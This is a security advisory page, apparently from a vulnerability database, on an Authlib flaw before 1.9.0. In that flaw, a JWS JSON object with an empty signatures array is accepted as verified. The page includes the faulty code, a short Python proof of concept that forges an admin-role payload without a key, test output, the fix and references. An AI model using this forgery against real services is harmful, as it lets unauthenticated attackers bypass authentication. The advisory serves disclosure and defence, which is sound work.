Authlib: empty signatures validation in JWS JSON deserialization
Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ## Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ## Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ## Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ## What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-96760US | — | Exploit | ||
Authlib (v1.7.2 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and return… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/authlib/authlibPACKAGE
- https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733WEB
- https://github.com/authlib/authlib/pull/938WEB
- https://github.com/authlib/authlib/releases/tag/v1.9.0WEB
- https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9hWEB
- https://kb.cert.org/vuls/id/762428WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-96760ADVISORY
- https://www.kb.cert.org/vuls/id/762428WEB
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan